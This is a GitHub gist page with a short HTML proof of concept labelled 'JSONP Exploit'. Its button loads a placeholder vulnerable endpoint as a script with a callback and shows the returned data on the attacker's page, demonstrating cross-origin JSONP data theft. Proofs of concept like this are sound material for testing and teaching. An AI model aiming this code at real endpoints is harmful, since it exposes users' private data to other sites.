Skip to content

Instantly share code, notes, and snippets.

@securITymania

securITymania/jsop-poc.html

Last active April 5, 2020 16:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save securITymania/5c78de09d1c5877d5e0f35b066796865 to your computer and use it in GitHub Desktop.
Save securITymania/5c78de09d1c5877d5e0f35b066796865 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
jsop-poc.html
<!DOCTYPE html>
<html>
<head>
<title>JSONP PoC</title>
</head>
<body>
<center>
<h1>JSONP Exploit<br>secureITmania</h1>
<hr>
<div id="demo">
<button type="button" onclick="trigger()">Exploit</button>
</div>
<script>
function testjsonp(myObj) {
var result = JSON.stringify(myObj)
document.getElementById("demo").innerHTML = result;
//console.log(myObj)
}
</script>
<script >
function trigger() {
var s = document.createElement("script");
s.src = "https://<vulnerable-endpoint>?callback=testjsonp";
document.body.appendChild(s);
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment